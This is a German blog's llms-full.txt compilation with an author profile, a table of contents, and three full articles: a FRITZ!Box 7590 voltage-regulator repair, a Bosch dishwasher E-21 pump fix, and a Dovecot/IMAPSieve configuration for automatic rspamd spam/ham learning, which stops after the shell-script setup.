# Kernel-Error — llms-full.txt
> Vollständiger Inhalt der beliebtesten Artikel von kernel-error.de
> Optimiert für LLM Context Windows. Generiert: 2026-01-24 | Aktualisiert: 2026-03-31
> Datenquellen: Google Search Console, Bing Webmaster Tools, Nginx Access Logs
---
## Kurzprofil des Autors
**Sebastian van de Meer** (Kernel-Error)
- **Standort**: Rheinbach, Deutschland (Rhein-Sieg-Kreis, zwischen Bonn und Köln)
- **Beruf**: CTO bei INFOnline GmbH, Bonn
- **Expertise**: IT-Security, FreeBSD/Linux, Netzwerke, Mail-Server, DNSSEC, Post-Quantum-Kryptographie
- **Verfügbar für**: Security Consulting, Penetration Testing, Incident Response, FreeBSD/Linux Administration
- **Servicegebiet**: Rheinbach, Bonn, Köln, Rhein-Sieg-Kreis, NRW, Remote weltweit
- **Kontakt**: kernel-error@kernel-error.com | @kernel-error.de@www.kernel-error.de (Fediverse) | https://www.kernel-error.de/kontakt/
**Vollständige Informationen**: https://www.kernel-error.de/llms.txt
---
## Über diese Datei
Diese Datei enthält den vollständigen Inhalt der meistgelesenen und meistgesuchten Artikel.
Die Auswahl basiert auf:
- Google Search Console Klicks und Impressionen
- Bing Webmaster Tools Backlink-Daten
- Nginx Server Access Logs
Für strukturierte Metadaten, Services und Kontaktinformationen siehe: https://www.kernel-error.de/llms.txt
**Nutzung & Zitation:** Zusammenfassen und verlinken ist erwünscht. Bitte die kanonische URL des jeweiligen Artikels als Quelle angeben.
---
## Inhaltsverzeichnis
| # | Datum | Titel |
|---|-------|-------|
| 1 | 2024-10-14 | [FRITZ!Box 7590: Fiepen, Spannungsregler-Probleme und WLAN-Ausfälle](https://www.kernel-error.de/2024/10/14/meine-fritzbox-7590-und-die-spannungswandler/) |
| 2 | 2019-11-11 | [Bosch Geschirrspülmaschine: Fehler E-21 beheben – So geht’s](https://www.kernel-error.de/2019/11/11/bosch-geschirrspuelmaschine-und-der-fehler-e-21/) |
| 3 | 2020-05-04 | [Rspamd: Automatisches Spam/Ham-Lernen mit Dovecot und IMAPSieve](https://www.kernel-error.de/2020/05/04/rspamd-automatisch-spam-ham-lernen-mit-dovecot-und-imapsieve/) |
| 4 | 2020-08-24 | [WSUS-Bereinigung: Timeouts beheben und Speicherplatz freigeben](https://www.kernel-error.de/2020/08/24/wsus-bereinigung-timeout-und-platte-laeuft-mit-updates-voll/) |
| 5 | 2024-10-13 | [FNIRSI GC-01 Upgrade: Akku, Zählrohr & Rad Pro Firmware installieren](https://www.kernel-error.de/2024/10/13/nuclear-radiation-detector-fnirsi-gc-01-upgrade/) |
| 6 | 2022-03-18 | [DNS over TLS mit BIND, Stunnel und Android 9: Eigener DoT-Server](https://www.kernel-error.de/2022/03/18/bind-9-18-mit-doh-und-dot/) |
| 7 | 2021-03-03 | [Firmware- und BIOS-Updates unter Linux einfach mit fwupd durchführen](https://www.kernel-error.de/2021/03/03/firmware-bios-updates-unter-linux-koennen-mit-fwupd-spass-machen/) |
| 8 | 2017-08-12 | [Sanftanlauf für Elektromotoren: Softstart & Anlaufstrombegrenzer](https://www.kernel-error.de/2017/08/12/sanftanlauf-fuer-elektromotor-softstart-anlaufstrombegrenzer/) |
| 9 | 2023-06-05 | [QIDI i-Mate S 3D-Drucker: Erfahrungen, Upgrades & Support-Tipps](https://www.kernel-error.de/2023/06/05/qidi/) |
| 10 | 2024-11-09 | [Lötdampfabsaugung selber bauen: DIY-Projekt mit 3D-Druck und Restteilen](https://www.kernel-error.de/2024/11/09/loetdampfabsaugung-aus-resten/) |
| 11 | 2021-01-07 | [Bose QuietComfort 35: Akku tauschen leicht gemacht](https://www.kernel-error.de/2021/01/07/bose-quietcomfort-35-akku-tauschen/) |
| 12 | 2019-02-15 | [TLS 1.3 für Postfix & Dovecot: Einrichtung und Konfiguration](https://www.kernel-error.de/2019/02/15/tls-1-3-fuer-postfix-und-dovecot/) |
| 13 | 2024-12-25 | [BitLocker im Dual-Boot: Systemplatte auf Passwortschutz umstellen](https://www.kernel-error.de/2024/12/25/dual-boot-mit-linux-und-windows-bitlocker-fuer-die-systemplatte-auf-passwort-umstellen/) |
| 14 | 2026-01-07 | [SSH-Bruteforce, DigitalOcean und AbuseIPDB – warum Blocken das Problem n...](https://www.kernel-error.de/2026/01/07/ssh-bruteforce-digitalocean-und-abuseipdb-warum-blocken-das-problem-nicht-loest/) |
| 15 | 2026-01-03 | [BIND auf FreeBSD: DoT & DoH einrichten mit Views, IP-Trennung und Testpl...](https://www.kernel-error.de/2026/01/03/bind-9-20-auf-freebsd-15-dns-over-tls-dot-und-dns-over-https-doh-sicher-konfigurieren/) |
| 16 | 2025-12-22 | [Quantensichere Kryptografie mit OpenSSH auf FreeBSD 15 richtig konfiguri...](https://www.kernel-error.de/2025/12/22/quantensichere-kryptografie-mit-openssh-auf-freebsd-15-richtig-konfigurieren/) |
| 17 | 2025-09-30 | [GPT in Rspamd aktivieren: so nutze ich das LLM-Signal im Score](https://www.kernel-error.de/2025/09/30/gpt-in-rspamd-aktivieren/) |
| 18 | 2025-01-20 | [IP-Kameras als Sicherheitsrisiko: GeoGuessr und Datenschutz im Fokus](https://www.kernel-error.de/2025/01/20/geoguessr-im-cyber-sicherheitskontext-wie-ip-kameras-zum-risiko-werden-koennen/) |
| 19 | 2025-11-17 | [IoT-Geräte als Einfallstor: Warum Kameras & Co. häufiger kapert werden, ...](https://www.kernel-error.de/2025/11/17/iot-geraete-als-einfallstor-warum-kameras-co-haeufiger-kapert-werden-als-viele-denken/) |
| 20 | 2025-11-07 | [BSI will Straffreiheit: Mehr Rechtssicherheit für ethische Hacker](https://www.kernel-error.de/2025/11/07/bsi-will-straffreiheit-mehr-rechtssicherheit-fuer-ethische-hacker/) |
| 21 | 2025-02-17 | [Sicherheitslücken melden: Mein Umgang mit einem Vulnerability Report](https://www.kernel-error.de/2025/02/17/sicherheitsluecken-melden-mein-umgang-mit-einem-vulnerability-report/) |
| 22 | 2015-02-02 | [Postfix: Serverzertifikat nicht verifiziert – Fehlerbehebung](https://www.kernel-error.de/2015/02/02/postfix-server-certificate-not-verified/) |
| 23 | 2019-03-08 | [SMTP MTA-STS: Strict Transport Security für deinen Mailserver](https://www.kernel-error.de/2019/03/08/smtp-mta-strict-transport-security-mta-sts/) |
| 24 | 2019-03-25 | [Postfix MTA-STS Resolver für FreeBSD mit Logfile einrichten](https://www.kernel-error.de/2019/03/25/postfix-mta-sts-resolver-fuer-freebsd-mit-logfile/) |
| 25 | 2014-01-28 | [Postfix SSL/TLS sichern mit TLSA, DANE und DNSSEC](https://www.kernel-error.de/2014/01/28/postfix-ssl-tls-gesichert-mit-tlsa-dane-und-dnssec/) |
| 26 | 2013-11-30 | [DMARC: Domain-Based Message Authentication, Reporting & Conformance (DMA...](https://www.kernel-error.de/2013/11/30/dmarc-domain-based-message-authentication-reporting-conformance/) |
| 27 | 2014-02-15 | [Postfix und Dovecot mit Perfect Forward Secrecy (PFS)](https://www.kernel-error.de/2014/02/15/postfix-und-dovecot-mit-perfect-forward-secrecy-pfs/) |
| 28 | 2019-04-10 | [E-Mails nur noch mit TLS: Transportverschlüsselung erzwingen](https://www.kernel-error.de/2019/04/10/keine-e-mail-mehr-ohne-tls-transportverschluesselung/) |
| 29 | 2013-08-10 | [DNSSEC & DANE: TLS-Zertifikate mit TLSA-Records absichern](https://www.kernel-error.de/2013/08/10/dnssec-und-dns-based-authentication-of-named-entities-dane/) |
| 30 | 2010-11-17 | [DNSSEC HowTo: Sicherheit für dein DNS-System](https://www.kernel-error.de/2010/11/17/mein-kleines-dnssec-howto/) |
| 31 | 2020-04-14 | [TLS-ECDHE mit AES-256-GCM-SHA384 einfach erklärt](https://www.kernel-error.de/2020/04/14/tls-ecdhe-ecdhe-with-aes-256-gcm-sha384-was-bedeutet-das-eigentlich/) |
| 32 | 2020-02-26 | [Von RSA zu ECDSA: Sichere Zertifikate für Web- und Mailserver](https://www.kernel-error.de/2020/02/26/keine-rsa-zertifikate-mehr-o/) |
| 33 | 2020-04-09 | [SSH-Brute-Force mit veralteter Implementierung: Angriffsmuster erkennen](https://www.kernel-error.de/2020/04/09/ssh-bruteforce-mit-alter-implementierung/) |
| 34 | 2025-12-19 | [Ist mein Netzwerk kompromittiert? Warum das kaum jemand merkt](https://www.kernel-error.de/2025/12/19/ist-mein-netzwerk-kompromittiert-warum-das-kaum-jemand-merkt/) |
| 35 | 2025-10-30 | [IP-Kameras: Risiken, Portfreigaben (RTSP/HTTP) & Checks](https://www.kernel-error.de/2025/10/30/ip-kameras-risiken-portfreigaben-rtsp-http-checks/) |
| 36 | 2019-04-19 | [FreeBSD: Native ZFS Encryption einrichten und nutzen](https://www.kernel-error.de/2019/04/19/freebsd-und-native-zfs-encryption/) |
| 37 | 2024-03-29 | [FreeBSD SSH-Server absichern: MFA mit Google Authenticator einrichten](https://www.kernel-error.de/2024/03/29/freebsd-ssh-server-mit-mfa-2fa/) |
| 38 | 2026-01-08 | [OWON XDM1041: Firmware V4.7.0 (20220913) – Update-Dateien und Vorgehen](https://www.kernel-error.de/2026/01/08/owon-xdm1041-firmware-v4-7-0-20220913-update-dateien-und-vorgehen/) |
| 39 | 2026-01-01 | [Von SEO zu AEO: Warum llms.txt, JSON-LD und Answer Engines das Web verän...](https://www.kernel-error.de/2026/01/01/von-seo-zu-aeo-warum-llms-txt-json-ld-und-answer-engines-das-web-veraendern/) |
| 40 | 2025-03-14 | [S/MIME-Zertifikat per DNS veröffentlichen – SMIMEA](https://www.kernel-error.de/2025/03/14/s-mime-zertifikat-erneuern-per-dns-veroeffentlichen-automatisiert-mit-python/) |
| 41 | 2026-02-12 | [Post-Quantum TLS für E-Mail — Postfix und Dovecot mit X25519MLKEM768 auf...](https://www.kernel-error.de/2026/02/12/post-quantum-tls-fuer-e-mail-postfix-und-dovecot-mit-x25519mlkem768-auf-freebsd-15/) |
| 42 | 2022-01-18 | [Kodi auf dem Raspberry Pi 4: Ruckelfreie Wiedergabe einrichten](https://www.kernel-error.de/2022/01/18/kodi-auf-dem-raspberry-pi-4-wiedergabe-stockt/) |
| 43 | 2026-03-01 | [NEXT Biometrics NB-2020-U Fingerabdruckleser unter Linux zum Laufen gebracht](https://www.kernel-error.de/2026/03/01/next-biometrics-nb-2020-u-fingerabdruckleser-linux/) |
| 44 | 2026-03-03 | [Quantis USB — Alter Quantenzufall aus der Schublade](https://www.kernel-error.de/2026/03/03/quantis-usb-alter-quantenzufall-aus-der-schublade/) |
| 45 | 2026-03-07 | [Post-Quantum TLS für Nginx — X25519MLKEM768 auf FreeBSD 15 konfigurieren](https://www.kernel-error.de/2026/03/07/post-quantum-tls-fuer-nginx-x25519mlkem768-auf-freebsd-15/) |
| 46 | 2026-03-03 | [peon-ping — Sound-Benachrichtigungen für Claude Code (und andere AI-Agents)](https://www.kernel-error.de/2026/03/03/peon-ping-sound-benachrichtigungen-fuer-claude-code/) |
| 47 | 2026-03-08 | [Raspberry Pi als serieller Konsolenserver](https://www.kernel-error.de/2026/03/08/raspberry-pi-als-serieller-konsolenserver/) |
| 48 | 2013-01-04 | [Thunderbird Autoconfig: Automatische E-Mail-Konfiguration für den eigenen Mailserver](https://www.kernel-error.de/2013/01/04/mozilla-thunderbird-autoconfig/) |
| 49 | 2013-01-04 | [Outlook Autodiscover für IMAP/SMTP: Wie die automatische Kontoeinrichtung funktioniert](https://www.kernel-error.de/2013/01/04/microsoft-office-outlook-autodiscover/) |
| 50 | 2019-10-02 | [Outlook Autodiscover für IMAP und SMTP konfigurieren](https://www.kernel-error.de/2019/10/02/outlook-autodiscover-fuer-imap-und-smtp/) |
| 51 | 2026-03-17 | [NEXT Biometrics NB-2033-U: Reverse Engineering eines Fingerabdrucklesers für Linux](https://www.kernel-error.de/2026/03/17/next-biometrics-nb-2033-u-reverse-engineering-fingerabdruckleser-linux/) |
| 52 | 2026-03-18 | [Eigener ADS-B Feeder: Flugzeuge tracken mit Raspberry Pi, RTL-SDR und selbstgebauter Antenne](https://www.kernel-error.de/2026/03/18/eigener-ads-b-feeder-flugzeuge-tracken-mit-raspberry-pi-rtl-sdr-und-selbstgebauter-antenne/) |
| 53 | 2026-03-21 | [Voltcraft CM 2016: Endlich eine Linux-GUI für das Ladegerät](https://www.kernel-error.de/2026/03/21/voltcraft-cm-2016-linux-gui-ladegeraet-gtk4-python/) |
| 54 | 2026-03-25 | [Commodore Floppy Disk Preservation: Firmware-Bug im xum1541 gefunden und gefixt](https://www.kernel-error.de/2026/03/25/commodore-floppy-disk-preservation-xum1541-firmware-bug-opencbm/) |
| 55 | 2025-09-30 | [HTTPS RR und SVCB: Moderne DNS-Records für schnellere und sicherere Verbindungen](https://www.kernel-error.de/2025/09/30/https-rr-svcb-moderne-dns-records-schnellere-sicherere-verbindungen/) |
---
## 1. FRITZ!Box 7590: Fiepen, Spannungsregler-Probleme und WLAN-Ausfälle
**Veröffentlicht:** 2024-10-14
**Permalink:** https://www.kernel-error.de/2024/10/14/meine-fritzbox-7590-und-die-spannungswandler/
**Description:** Erfahrungsbericht zu Fiepen und WLAN-Ausfällen bei der FRITZ!Box 7590. Ursachenanalyse, AVM-Support-Reaktion und Tipps zum Umgang mit...
Eigentlich sollte die Überschrift heißen: Ärgere ich mich gerade über mich selbst oder über AVM?
[Bild: PCB der FritzBox 7590 mit Zoom auf den MP1477 Spannungsregler]
Zuhause arbeitete eine FRITZ!Box 7590 KA, die zu Beginn mit einem [Frixtender](https://frixtender.de/) erweitert wurde. Nach knapp zwei Jahren habe ich bemerkt, dass die FRITZ!Box angefangen hat zu fiepen. Eine Funktionseinschränkung konnte ich jedoch nicht feststellen. Da es aber knapp vor dem Ablauf der Garantie war, habe ich Kontakt mit dem AVM-Support aufgenommen.
Dem AVM-Support habe ich in einer kurzen E-Mail geschildert, dass meine Box plötzlich fiept und ob ihnen in diesem Zusammenhang vielleicht Probleme, beispielsweise mit Spulen oder Spannungsreglern, bekannt sind. Die Antwort vom AVM-Support ließ nicht lange auf sich warten und lautete zusammengefasst: „Nein, uns sind keine Probleme bekannt, aber du kannst deine Box gerne zur Überprüfung/Austausch einschicken.“
Jetzt kommen wir zum Punkt, warum ich mich ärgere und unschlüssig bin, ob ich mich über mich selbst oder über AVM ärgere. Für meine Arbeit benötige ich eine funktionsfähige Internetverbindung. Wenn ich die Box einschicke, muss ich für eine Alternative sorgen. Wenn AVM die Box vorsorglich gegen eine neue tauscht, wäre das zwar schön, aber es gibt schon zu viel Elektroschrott. Elektronik darf Geräusche machen. Spulen könnt ihr euch oft wie eine Art Schwungrad vorstellen. Es braucht etwas, um anzulaufen, läuft dann aber auch noch einige Zeit weiter, selbst wenn es niemand mehr antreibt. Das hängt mit den aufkommenden Magnetfeldern zusammen und ist so gewollt. Magneten kennt ihr, und dass dort Kräfte an den Bauteilen ziehen, könnt ihr euch jetzt ebenfalls vorstellen. Eine Spule kann also mit der Zeit anfangen, leichte Geräusche zu machen, und das ist auch okay. Für Spannungsregler gilt das ebenfalls. Stellt euch einfach euren Wasserhahn vor: Wenn ihr ihn voll aufdreht, kommen da vielleicht 5 Liter in der Minute heraus. Wenn ihr weniger Wasser wollt, macht ihr den Hahn ganz schnell an und wieder aus. Wie schnell ihr das Wasser ein- bzw. ausschalten müsst, um beispielsweise nur 1 Liter pro Minute fließen zu lassen, messt ihr mit euren Augen. Ganz grob funktionieren Schaltnetzteile so. Je nach Last kann man da also schon mal etwas hören, und das ist okay.
So ist ein weiteres Jahr ins Land gegangen, bis mir [in einem meiner Newsticker die Meldung über sterbende FRITZ!Boxen vom Typ 7590 aufgefallen is](https://www.mikrocontroller.net/topic/560494)t. Hier wird von anfänglichem Fiepen, schlechter werdendem 2,4-GHz-WLAN bis hin zum Totalausfall des WLANs und der Box berichtet. Bääähhhhh. Das klang verdächtig nach dem von mir beobachteten Fehlerbild. Nun ist meine Box aus jeglicher Garantie und Gewährleistung heraus. Den AVM-Support brauche ich also nicht mehr zu bemühen, sondern kann mich vielmehr mit dem Gedanken anfreunden, eine neue Box zu kaufen, um auf einen Ausfall vorbereitet zu sein. Zeitgleich haben bei uns im Ort die Arbeiten am Glasfaserausbau begonnen. Diese gehen so schnell und gut voran, dass ich damit rechnen kann, bis zum Ende dieses Jahres von DSL auf Glasfaser wechseln zu können. Mit diesem Wechsel kommt vom Anbieter auch eine neue FRITZ!Box. Tjo… Also Risiko eingehen oder eine Box kaufen, die in 5 oder 6 Monaten dann wohl irgendwo im Regal Staub fängt?
Bevor es eine Antwort auf diese Frage gibt, noch schnell zum Punkt mit dem Ärgern: Ich habe AVM bewusst gefragt, ob es bekannte Probleme mit der Box gibt und speziell auf die aus meiner Sicht verdächtigen Bauteile hingewiesen. Die Antwort war ein klares Nein. Das muss ich jetzt einfach so glauben, aber ich werde den Beigeschmack nicht los, dass es zum Zeitpunkt meiner Supportanfrage schon einige [Reklamationen wegen dieses Problems gegeben haben müsste](https://www.borncity.com/blog/2024/05/30/nachlese-ausfall-des-2-4-ghz-wlan-an-der-fritzbox-7590-nach-ca-5-jahren/). Daher wohl mein möglicher Ärger über AVM – und dass ich auf die Möglichkeit eines Austauschs verzichtet habe – und der Ärger über mich selbst.
Habe ich jetzt eine neue Box gekauft oder nicht? Nein, habe ich natürlich nicht. Ich habe meine Box von der Wand genommen, aufgeschraubt und durchgemessen. Ja, Geräusche und etwas zu hohe Spannung für das 2,4-GHz-WLAN habe ich gemessen bzw. zuordnen können. Alles aber noch im Rahmen, sodass ich gehofft habe, dass es noch ein paar Monate gutgeht. War leider nicht so. Vor ein paar Wochen ist die Box an der Wand „geplatzt“ und ich musste in den sauren Apfel beißen und eine neue für den Übergang kaufen. Jetzt habe ich wohl ein Backup für die Zukunft. Woohoo 🙁 Manchmal lerne ich nicht so schnell dazu, oder? Naja, manchmal kommt halt eins zum anderen.
Ob meine alte Box wirklich mit genau dem beschriebenen Problem ausgefallen ist, wollte ich dennoch herausfinden. Die Sichtprüfung war noch immer gut, aber es war keine Spannung mehr zu messen. Daher habe ich mir von [Aliexpress ein paar MP1477](https://s.click.aliexpress.com/e/_DDVndlb) (die genaue Bezeichnung ist [MP1477GTF-Z](https://s.click.aliexpress.com/e/_DDVndlb)) zuschicken lassen. Ich habe direkt alle drei verbauten Chips ausgetauscht und siehe da, die Box lebt wieder. Oft sollen dabei wohl noch die RF FRONT ENDs 055F als Folge der zu hohen Spannung sterben, aber diese haben es bei mir zum Glück überlebt.
[[Bild: PCB der FritzBox 7590 mit Zoom auf den MP1477 Spannungsregler]](https://www.kernel-error.de/wp-content/uploads/2024/10/FritzBox-7590-MP1477-scaled.jpg)
Nun habe ich also auch noch ein Backup für das zukünftige Backup. Super…
Da ich bei Aliexpress insgesamt 10 Stück bestellt habe, liegen hier jetzt noch ein paar herum. Ich wäre bereit, sie gegen ein Snickers zu tauschen, falls jemand von euch vor einem ähnlichen Problem steht. Uhh, und bedenkt bitte, dass die Dinger **ECHT** klein sind. Ich habe euch mal einen auf ein 1-Cent-Stück gelegt. Ohne Heißluftstation und etwas SMD-Löterfahrung solltet ihr das vielleicht lieber nicht angehen.
[[Bild: Größenvergleich zwischen dem MP1477 Spannungsregler und einem Euro-Cent-Stück]](https://www.kernel-error.de/wp-content/uploads/2024/10/MP1477GTF-Z-scaled.jpg)
Die Messpunkte und die erwarteten Spannungen findet ihr im folgenden Bildchen.
[[Bild: PCB der FritzBox 7590 mit eingezeichneten Messpunkten und Messwerten des MP1477 Spannungsreglers]](https://www.kernel-error.de/wp-content/uploads/2024/10/FritzBox-7590-02-scaled.jpg)
Wenn ihr dann noch Fragen habt, fragt einfach 🙂
---
---
## 2. Bosch Geschirrspülmaschine: Fehler E-21 beheben – So geht’s
**Veröffentlicht:** 2019-11-11
**Permalink:** https://www.kernel-error.de/2019/11/11/bosch-geschirrspuelmaschine-und-der-fehler-e-21/
**Description:** Fehler E-21 bei deiner Bosch Geschirrspülmaschine? Erfahre die Ursachen und wie du das Problem Schritt für Schritt selbst lösen kannst.
Meine Geschirrspülmaschine hat mir heute einige Nerven gekostet. Mit einem fröhlichen E-21 im Display war Schluss mit Spülen. Der Fehlercode deutet darauf hin, dass etwas mit der Umwälzpumpe nicht stimmt. Die Maschine ist jetzt knapp sechs Jahre alt und läuft hier täglich für einen Vier-Personen-Haushalt. Mit anderen Worten: Die Maschine hat selten Langeweile. Oh, sie ist wohl recht baugleich zu Siemens, Neff und Constructa.
Mein erster Schritt war ein Anruf beim nächstgelegenen Serviceanbieter. Dieser sagte mir, dass er die Maschine in einer Woche abholen und bei sich überprüfen könnte. In der Regel wird dann die Umwälzpumpe ausgetauscht, was (bla €) kostet, und ich bekäme die Maschine nach zwei bis drei Tagen zurück. Für 200–300 € mehr könnte er mir aber direkt eine neue Maschine liefern und die alte entsorgen, inklusive Lieferung und Anschluss. Bei einer so alten Maschine … bla bla blupp … Warum werden heutzutage nur noch Teile ausgetauscht? Warum soll immer alles neu sein? Warum repariert niemand mehr?
Eine kurze Suche auf DuckDuckGo brachte mir eine Explosionszeichnung meiner Spülmaschine. Die Konstruktion sieht sehr überschaubar aus … Letztlich fand ich in der Umwälzpumpe ein Stück Plastikverpackung. Die Pumpe ließ sich fast vollständig zerlegen und reinigen. Jetzt läuft die Maschine wieder, ganz ohne Fehler! Insgesamt hat mich die Aktion 40 Minuten meiner Zeit gekostet.
[[Bild: Bosch Geschirrspülmaschine und der Fehler E-21 Bild der Pumpe.]](https://www.kernel-error.de/wp-content/uploads/2022/02/Bosch-Geschirrspler-E-21-1-scaled.jpg)
[[Bild: Bosch Geschirrspülmaschine und der Fehler E-21 Bild der geöffneten Pumpe mit einem verklemmten Fremdkörper.]](https://www.kernel-error.de/wp-content/uploads/2022/02/Bosch-Geschirrspler-E-21-2-scaled.jpg)
[[Bild: Bosch Geschirrspülmaschine und der Fehler E-21 Bild der komplett zerlegten Pumpe, nach der Reinigung.]](https://www.kernel-error.de/wp-content/uploads/2022/02/Bosch-Geschirrspler-E-21-3-scaled.jpg)
[[Bild: Bosch Geschirrspülmaschine und der Fehler E-21 Bild vom verklemmten Plastikteil aus der Pumpe.]](https://www.kernel-error.de/wp-content/uploads/2022/02/Bosch-Geschirrspler-E-21-4-scaled.jpg)
[Bild: Bosch Geschirrspülmaschine und der Fehler E-21 Bild der Pumpe.][Bild: Bosch Geschirrspülmaschine und der Fehler E-21 Bild der geöffneten Pumpe mit einem verklemmten Fremdkörper.][Bild: Bosch Geschirrspülmaschine und der Fehler E-21 Bild der komplett zerlegten Pumpe, nach der Reinigung.][Bild: Bosch Geschirrspülmaschine und der Fehler E-21 Bild vom verklemmten Plastikteil aus der Pumpe.]
Ein kleiner Tipp für euch: Falls die Pumpe tatsächlich defekt ist, lässt sich das Ersatzteil einfach über Amazon bestellen: [https://amzn.to/3AhYDYI](https://amzn.to/3AhYDYI)
Der Austausch ist sehr einfach, und alles Notwendige ist dabei!
Das weiß ich so genau, weil die Pumpe einige Monate später dann doch aufgegeben hat. Anscheinend hat das kleine Plastikteil eine solche Unwucht verursacht, dass es letztendlich zum Ausfall der Pumpe geführt hat.
---
---
## 3. Rspamd: Automatisches Spam/Ham-Lernen mit Dovecot und IMAPSieve
**Veröffentlicht:** 2020-05-04 (Rewrite 2026-03-09)
**Permalink:** https://www.kernel-error.de/2020/05/04/rspamd-automatisch-spam-ham-lernen-mit-dovecot-und-imapsieve/
**Description:** Rspamd automatisch trainieren: Dovecot und IMAPSieve sorgen dafür, dass Spam- und Ham-Sortierung der Benutzer direkt den Bayes-Klassifikator füttert.
[Rspamd](https://rspamd.com/) hat ein Webinterface. Da kann man E-Mails reinkopieren und als Spam oder Ham markieren. Klingt erstmal praktisch. Ist es aber nicht. Niemand kopiert ernsthaft den Quellcode jeder fehlklassifizierten Mail in ein Webformular. Das macht man einmal zum Testen und dann nie wieder.
Was man eigentlich will: Wenn ein Benutzer eine Mail in den Junk-Ordner verschiebt, soll rspamd das automatisch als Spam lernen. Und wenn eine Mail aus dem Junk-Ordner rausgeholt wird, soll rspamd sie als Ham lernen. Kein Webinterface, kein manueller Eingriff. Der Benutzer sortiert einfach seine Mails — und rspamd lernt mit.
Genau das geht mit [Dovecot](https://www.dovecot.org/) und [IMAPSieve](https://doc.dovecot.org/main/core/plugins/imap_sieve.html). Hier beschreibe ich, wie ich das bei mir eingerichtet habe. Die Konfiguration läuft seit Mai 2020 unverändert — über sechs Jahre, ohne eine einzige Anpassung. Das darf man ruhig als stabil bezeichnen.
### Was passiert da eigentlich
Der Datenfluss ist simpel:
- Benutzer verschiebt eine Mail in den Ordner "Junk"
- Dovecot erkennt die Verschiebung per IMAPSieve
- IMAPSieve startet ein Sieve-Script
- Das Sieve-Script ruft ein Shell-Script auf
- Das Shell-Script übergibt die Mail per `rspamc` an rspamd
- Rspamd lernt die Mail als Spam (Bayes-Klassifikator)
In die andere Richtung genauso: Mail raus aus Junk, Dovecot erkennt es, rspamd lernt Ham. Egal ob der Benutzer über Thunderbird, Roundcube, ein Smartphone oder was auch immer sortiert — solange es IMAP ist, greift das.
### Voraussetzungen
- **Dovecot** mit Sieve-Support (`dovecot-pigeonhole` unter FreeBSD, `dovecot-sieve` unter Debian/Ubuntu)
- **Rspamd** mit laufendem Controller-Worker
- **rspamc** CLI-Tool (kommt mit rspamd mit)
Mein Setup läuft auf FreeBSD. Die Pfade beginnen daher mit `/usr/local/`. Unter Linux ist es `/etc/dovecot/` statt `/usr/local/etc/dovecot/` und `/usr/lib/dovecot/` statt `/usr/local/libexec/dovecot/`. Ansonsten ist alles identisch.
Mein rspamd läuft in einer eigenen Jail und lauscht auf `127.0.0.3:11334`. Wer rspamd lokal auf dem gleichen System hat, nimmt stattdessen `127.0.0.1:11334` oder den Unix-Socket.
### Dovecot konfigurieren
Zuerst muss das Sieve-Plugin für IMAP aktiviert werden.
**20-imap.conf:**
```
protocol imap {
mail_plugins = $mail_plugins sieve
}
```
Dann die IMAPSieve-Konfiguration. Hier wird festgelegt, welche Ordner-Aktionen welches Sieve-Script auslösen.
**90-plugin.conf:**
```
plugin {
sieve_plugins = sieve_imapsieve sieve_extprograms
# Wenn eine Mail in den Junk-Ordner kopiert oder dort ein Flag geaendert wird
imapsieve_mailbox1_name = Junk
imapsieve_mailbox1_causes = COPY FLAG
imapsieve_mailbox1_before = file:/usr/local/etc/dovecot/sieve/report-spam.sieve
# Wenn eine Mail AUS dem Junk-Ordner woanders hin verschoben wird
imapsieve_mailbox2_name = *
imapsieve_mailbox2_from = Junk
imapsieve_mailbox2_causes = COPY
imapsieve_mailbox2_before = file:/usr/local/etc/dovecot/sieve/report-ham.sieve
sieve_pipe_bin_dir = /usr/local/libexec/dovecot
sieve_global_extensions = +vnd.dovecot.pipe
}
```
Zwei Trigger: Einer für "Mail landet im Junk" (→ Spam lernen), einer für "Mail verlässt Junk" (→ Ham lernen). `COPY` deckt Verschieben ab, `FLAG` fängt den Fall ab, dass ein Mail-Client den Junk-Status per Flag statt per Verschieben setzt.
### Sieve-Scripts
Jetzt die beiden Sieve-Scripts, die von IMAPSieve aufgerufen werden.
**report-spam.sieve** — wird ausgelöst, wenn eine Mail im Junk-Ordner landet:
```
require ["vnd.dovecot.pipe", "copy", "imapsieve", "environment", "imap4flags"];
if environment :is "imap.cause" "COPY" {
pipe :copy "sa-learn-spam.sh";
}
# Beantworteten oder weitergeleiteten Spam ebenfalls lernen
elsif anyof (allof (hasflag "\\Answered",
environment :contains "imap.changedflags" "\\Answered"),
allof (hasflag "$Forwarded",
environment :contains "imap.changedflags" "$Forwarded")) {
pipe :copy "sa-learn-spam.sh";
}
```
Der erste Block fängt das normale Verschieben ab. Der zweite Block ist für einen Sonderfall: Wenn jemand auf eine Mail im Junk-Ordner antwortet oder sie weiterleitet, ändert sich das Flag — und auch das sollte als Spam gelernt werden.
**report-ham.sieve** — wird ausgelöst, wenn eine Mail den Junk-Ordner verlässt:
```
require ["vnd.dovecot.pipe", "copy", "imapsieve", "environment", "variables"];
if environment :matches "imap.mailbox" "*" {
set "mailbox" "${1}";
}
if string "${mailbox}" [ "Trash", "train_ham", "train_prob", "train_spam" ] {
stop;
}
pipe :copy "sa-learn-ham.sh";
```
Hier passiert etwas Wichtiges: Bevor die Mail als Ham gelernt wird, prüfen wir wohin sie verschoben wurde. Wenn sie im Papierkorb landet, war das vermutlich kein "Das ist kein Spam" sondern ein "Ich lösche den Spam". Deshalb: `stop;` für Trash und die Trainingsordner. Nur wenn die Mail in einen echten Ordner verschoben wird, ist es ein Ham-Signal.
Beide Scripts müssen kompiliert werden:
```
sievec /usr/local/etc/dovecot/sieve/report-spam.sieve
sievec /usr/local/etc/dovecot/sieve/report-ham.sieve
```
### Shell-Scripts für rspamc
Die Sieve-Scripts rufen Shell-Scripts auf, die die Mail per `rspamc` an rspamd übergeben. Simpel — jeweils ein Einzeiler.
**/usr/local/libexec/dovecot/sa-learn-spam.sh:**
```
#!/bin/sh
exec /usr/local/bin/rspamc -h 127.0.0.3:11334 learn_spam
```
**/usr/local/libexec/dovecot/sa-learn-ham.sh:**
```
#!/bin/sh
exec /usr/local/bin/rspamc -h 127.0.0.3:11334 learn_ham
```
Die Dateinamen `sa-learn-*` kommen historisch von SpamAssassin. Verwirrend, wenn man rspamd nutzt. Man könnte sie auch `rspamd-learn-spam.sh` nennen — funktional ist es egal. Ich habe sie so gelassen, weil man funktionierende Dinge nicht anfasst.
Beide ausführbar machen:
```
chmod +x /usr/local/libexec/dovecot/sa-learn-spam.sh /usr/local/libexec/dovecot/sa-learn-ham.sh
```
